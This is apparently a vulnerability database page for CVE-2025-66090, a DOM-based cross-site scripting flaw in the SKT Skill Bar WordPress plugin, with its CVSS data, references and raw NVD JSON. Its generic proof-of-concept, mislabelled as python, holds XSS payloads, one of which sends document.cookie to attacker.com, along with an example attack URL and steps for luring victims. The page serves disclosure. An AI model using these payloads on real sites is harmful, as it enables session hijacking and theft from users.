CVE-2025-66090

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sonalsinha21 SKT Skill Bar skt-skill-bar allows DOM-Based XSS.This issue affects SKT Skill Bar: from n/a through <= 2.5.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

SKT Skill Bar <= 2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- DOM-Based XSS PoC for CVE-2025-66090 -->
<!-- SKT Skill Bar Plugin <= 2.5 -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-66090 PoC</title>
</head>
<body>
    <h1>DOM-Based XSS PoC for SKT Skill Bar</h1>
    
    <!-- Attack vector: Inject malicious JavaScript via plugin's vulnerable parameter -->
    <!-- The plugin processes URL parameters or DOM elements without sanitization -->
    
    <script>
        // Simulate vulnerable parameter handling
        // In real scenario, this would be triggered by plugin's JavaScript
        
        // Malicious payload that could be used
        var maliciousPayload = '<img src=x onerror="alert(String.fromCharCode(88,83,83))">';
        
        // Another common XSS payload
        var xssPayload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>';
        
        // DOM injection example
        // document.getElementById('skt-skill-bar-container').innerHTML = maliciousPayload;
        
        console.log('PoC Payload: ' + maliciousPayload);
        console.log('This vulnerability allows arbitrary JavaScript execution in user context');
    </script>
    
    <!-- Example attack URL -->
    <p>Example attack URL:</p>
    <code>http://target-site.com/page-with-skt-skill-bar/?skill=<img src=x onerror=alert(document.cookie)></code>
    
    <!-- Real exploitation steps -->
    <script>
        // 1. Attacker crafts malicious URL with XSS payload
        // 2. Lures victim to click the URL
        // 3. Plugin's JavaScript processes the payload without sanitization
        // 4. Malicious script executes in victim's browser
        // 5. Attacker steals session cookies or performs actions on behalf of victim
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66090
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66090
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66090/
[4] VulDB https://vuldb.com/cve/CVE-2025-66090
[5] https://patchstack.com/database/Wordpress/Plugin/skt-skill-bar/vulnerability/wordpress-skt-skill-bar-plugin-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66090", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:50.223", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sonalsinha21 SKT Skill Bar skt-skill-bar allows DOM-Based XSS.This issue affects SKT Skill Bar: from n/a through <= 2.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/skt-skill-bar/vulnerability/wordpress-skt-skill-bar-plugin-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}